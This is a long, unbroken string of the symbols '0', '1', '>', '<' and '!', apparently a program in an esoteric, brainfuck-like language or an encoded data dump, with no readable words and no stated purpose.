>0>1>0><>1>0><>1>0>1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1>0>1!1>0>1>0>1!10110>1!<>1!1>0>1!1!1>01010111>10111>01!1!1!1!1!<>1!1!1!1>0>1>0>1!1>0>1!<>1!1!1!1!1!10110>1!<>1!1!1!1!1!10110>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!<>1>0>1!1!<>1!1!1!1!1>0>1>0>1!1!1!<>1!1!1!1!1>0>1!1>01010111>01!10110>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!<>1!1!1!1!1>0>1>0>1!1!1!<>1!<>1!1!1!1!1!1!1!<>10110><>1!1!1!1!1>0>1!1!<>10110>1!1!1!1>0>1!1!1!1!1!1!1!10110><>1!1!1!1!<>1!1!1!1>0>1!1>0>1>0>1!<>1!<>1!1!1!1!1!1!1!<>10110><>1!1!1!1!1>0>1>0><>1!1!1!1!1!<><>1!1!1!1!1>0>1>0>1!<>1>0>1!1!<>1!<>1!1!1!1!1!1!1!<>10110>1!1!1!1!10110>1!1!1!1!1>0>1!1>01010111>01!1!1!1!1!<>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!10110>1!<>1!1>0>1!1!1>01010111>01!1>0>1>0>1!1!1>0>1!1!1!1>0>1!<>1!1!1!1!1!1!10110>1!1!1>0>1!1!1!1>0>1!<>1!1!1!1!1>0><>1>0>1!1!1!1!1!<>1!1!1!1!1>0>1>0>1!1!1!1!1!1!10110>1!1!1!1>0>1!1>0>1!1!10110>1!<>1!1>0>1!1!1>01010111>01!1>0>1>0>1!1!1>0>1!1!1!1>0>1!<>1!1!1!1!1!1!10110>1!1!1>0>1!1!1!1>0>1!<>1!1!1!1!10110>1!<>1>0>1!1!1!1>0>1!1!1>01010111>01!1!1!<>1>0><>1>0>1!1!1!1!10110>1!1!1!1!1!10110>1!1!1!1!1>0>1!1!1!1!10110>1!<>1!1>0>1!1!1>01010111>01>0>1!1!1!<>1!1!10110>1!1>01010111>01!1>0>1>0>1!1!1>0>1!1!1!1>0>1!<>1!1!1!1!1!1!10110>1!1!1>0>1!1!1!1>0>1!<>1!1!1!1!10110>1!<>1>0>1!1!1!1>0>1!1!1>01010111>01!1!1!<>1>0><>1>0>1!1!1!1!10110>1!1!1!1!1!101101010111>01!<>1!1>0>1!1!1!<>1!1!1>0>1!1!1!1>0>1!1!1!1!1!10110>1!1!1!1>0>1!1>0>1!1!10110>1!<>1!1>0>1!1!1>0><>1!<>1>0>1!1!1!1>0>1!1!1!1!10110>1!<>1!1>0>1!1!1>01010111>01!1!1!1!<>1!1!1>0>1>0>1!1>0>1!<>1!<>1>0><1010111>01!1!1!1!1!<>1!1!1>0>1!1>01010111>01!1!1!1!10110>1!<>1!1>0>1!1!1>0><>1!1!<><>1!1!<>1!1!1!1!1>0><>1>0>1!1!1!1!1!<>1!1!1!1>0>1!1>0>1!1!1!1!1!1!10110>1!1!1!1>0>1!1>0>1!1!10110>1!<>1!1>0>1!1!1>0><>1!1!<><>1!<>1!1!<><>1!<>1>0>1!1!1!1>0>1!1!1!1!10110>1!<>1!1>0>1!1!1>0>1!1!1!10110>1!1!1!1!<><><>1!1!<><>1!<>1!1!<><>1!<>1>0>1!1!1!1!1>0><>1!1>0>1!1!1!1!<>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!10110>1!<>1!1>0>1!1!1>0><>1!1!<>1!1!1!1!1>0>1!<>1!1!1!1!1!<1010111>01!1!1!1!1!1!10110>1!1!1!1>0>1!1>0>1!1!10110>1!<>1!1>0>1!1!1>0><>1!1!<><>1!1!1!1!1>0>1!1>01010111>01!10110><>1!<>1>0>1!1!1!1>0>1!1!1!1!10110>1!<>1!1>0>1!1!1>0>1!1!1!10110>1!1!1!1!<><><>1!1!<><>1!1!1!1!1>0>1!1>01010111>01!10110><>1!<>1>0>1!1!1!1!1>0><>1!1>0>1!1!1!1!<>1!1!1!1>0>1!1>0>1!1!1!1!1!1!10110>1!1!1!1>0>1!1>0>1!1!10110>1!<>1!1>0>1!1!1>0><>1!<>1!<>1!<>1!<>1>0>1!1!1!1>0>1!1!1!1!10110>1!<>1!1>0>1!1!1>0>1!1!1!10110>1!1!1!1!<>1!1!1!10110>1!<>1!<>1!<>1!<>1!<>1>0><>1!1!1!1!1>0>1!1>0>1!1!1!1!<1010111>01!1!1!1!1>0>1!1!1!1!10110>1!<>1!1>0>1!1!1>0>1!1!1!1!1>0><>1!1!1!1!1!1!<>1!1!1!1>0>1>0>1!1!1!1!1!1!1!10110>1!1!1!1>0>1!1>0>1!1!10110>1!<>1!1>0>1!1!1>0><>1!1!1!1!1>0>1!10110><>1>0>1!1!1!1>0>1!1!1!1!10110>1!<>1!1>0>1!1!1>01010111>01!1!1!1!<>1!1!1!1!1>0>1>0>1!<>1!1!1!1!1>0>1!10110><>1>0>1!1!1!1!1>0>1!<>1!1!1!1!1!<>1!1!1!1>0>1>01010111>01!1!1!1!10110>1!<>1!1>0>1!1!1>0><>1!1!1!1!1>0>1!1!1!1!1!1!<>1!1!1!1>0>1>0>1!1!1!1!1!1!1!10110>1!1!1!1>0>1!1>0>1!1!10110>1!<>1!1>0>1!1!1>0><>1>0>1!1!1!1>0>1!1!1!1!10110>1!<>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!<>1!1!1!1>0>1!1>0>1!<>1>0><>1!1!1!1!1>0>1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!<>1>0>1!1!1!1!1!10110>1!1!1!1>0>1!1!<>1!1!1!1!1!<>1!1!1>0>1!1>01010111>01!1>01010111>01!10110>1!1!1!1!101101010111>01!<>1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!10110>1!1!1!1!1!10110>1!1!1!1!1!1!1!<>10110>1!1!1!1!1>0><>1!1!1!1!1!<>1!1!1!10110>1!1!1!1!1!1!10110>1!1!<><>1>0><>1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!10110>1!1!<><>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1!1!1!10110>1!1!1!1!1!10110>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!10110>1!1!1!1>0>1!<>1!1!1!1!1!1!1!1!1!1!1!<1010111>01!1!1!1!1!1010>01>0>1>0>1!1!1!1!1!1!1!10110>1!1!1!1!1!101101010111>0<>1!1>0>1!10110>1!1>0><>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!10110><>1!<>10110>1!1!1!1!1>0>1!1!1!1!1!1!1!10110>1!1!1!1!1>0>1!10110>1!1!1!1!1>0><>1!1!<>10110>1!1!1!1!1>0><>1!1>01010111>01!10110>1!1!1!1!1>0>1!1!1!<>1!1!1!1!1>0>1!10110>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!<>10110>1!1!1!1!1>0><>1>0><>1!10110>1!1!1!1!1>0>1!<>1!10110>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!10110>1!1!1!1>0>1!1!1!1>0>10110>10110>1!1>0>1>0>10110>1!1>0>1!10110>10110><>1>0>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!10110>1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>10110>10110>10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1!10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!10110>1!1>0>1!1!1>0>1!1>0>10110>1!10110>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1!1!1010>01>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0><>1!1!1>0>1>0>10110>1!1>0>10110>10110>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1>0>1!1!1>0>1>0><>1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>10110>1!1!1!<>1>0>1!1!1!1!1>0>1!1!1!1!<>1>0>1!1>0>1>0>1!1!1!1!<>1!1!10110>1!1!1!1!1!<>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!<1010111>01!1!1!<>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1!1!<>1!1!1!1!1>0>1!1!1!1!1!1!1!<>1>0>1!1!1!1!<>1!1>0>1>0>1!1>0>1!1!1!1!1!1!<>1!1!1!1>0>1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1!<>1!1!1!1>0>1>0>1!1!1!1!<>1!1!10110>1!1!1!1!<>1!1>0>1>0>1!1>0>1!1!1!1!1!<>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1!<>1!1>0>1>0>1!1>0>1!1!1!1!1!1!<>1!1!1!1>0>1!1!1!<>1!1!10110>1!1!1!1!1!<>1>0>1!1!1!1>0>1!1!1!1!1!<>1!1!1!1>0>1!1!1!<>1!1>0>1>0>1!1>0>1!1!1!1!1!1!<>1!1!1!1>0>1!1!1!<>1!1!1!1>0>1>0>1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1!<>1>0>1!1!1!1!1>0>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1!1!<>1!1>0>1!1!1!1>0>1!1!1!1!<>1>0>1!1!1!1>0>1!1!1!<>1>0>1!1>0>10110>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!1!<>10110>1!1>0>1!1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1>0>1!1!1!<>10110>1!1>0>1>0>1!1!<>1>0>1!1!10110>1!1!1!1!1!1!1!1!1!<>1!1!1!<>1!1!10110>1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!<>1!1>0>10110>1!1>0>1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!<>1!10110>1!1!1>0>1!1!<>1!1>0>1>0>1!1!1>0>1!1!1!1!<>1!1!1!1!1>0>1!1!1!1!1!1!<>1!1!1!1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!<>1>0>1!1>0>1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!10110>1!1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!<>1!1!1!1>0>1>0>1!10110><>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1>0>1!1!1!1!<>1!1>0>1>0>10110>1!1!<>1!1!10110>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!10110>1!1!<>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!10110>10110>1!1>0>1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1>0>1!1!1!1!1!<>1!1!1>0>1!1!1!1!1!<>1>0>10110>1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!<>1!1!1!1>0>1!1>0>1!1!1!<>1>0>1!1>0>1!1!1>0>1!1!<>1>0>1!1!1!1>0>1>0>1!1!1!1!1!<>1>0>1!10110>1!1!<>1!1>0>1!1>0>1>0>1!1>0>1!1!<>1!1>0>1!10110>1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!1!<>1!1!1>0>1!1!1!1!1!<>10110>1!1!1>0>1!1!1!<>1!1!1!1!10110>1!1!1!1!1!1!1!1!10110>1!1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!<>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!<>1>0>1!1!10110>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!1!1!1>0>10110>1!1>0>1!1>0>1!1!1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!<>1>0>1!1!10110>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!1!1!<>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!<>1!1>0>1>0>1!1!1!10110>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!<>1>0>1!1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>01010111>01!1>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!101101010111>01!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1!1!1!<1010111>01!1>0>1!1!1>0>10110>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!<>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1!1!<>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1!1!<>1!1!1>0>10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1!<>1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>10110>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!<>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1>0>1!1!1!<>1>0>1!1!10110>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1!1!1!<>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!<>1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1>0>10110>1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1!1!1!<>1!1!1>0>10110>1!1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!<>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>01010111>01!1>0>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1!1!1!1!<>1>0>1!1!1>0>1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1!<>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1!1!<>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>10110>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!101101010111>01!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1!1!1!1!<>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1!1!<>10110>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!<>1!1!1>0>10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1!1!10110>1!1>01010111>01!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1!<>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1>0>1!10110>1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1!1!1!1!<>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1!1!<>1!10110>1!1!1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1!<>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!<>1>0>1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!<>1!1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!<>1>0>1!1!1>0>1>0>10110>1!1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!<>1>0>1!1!10110>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>1!1!1!1!1>0>1>01010111>01!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1!1!1!<>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!10110>1!1!1!1>0>1!1!1!1!<>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!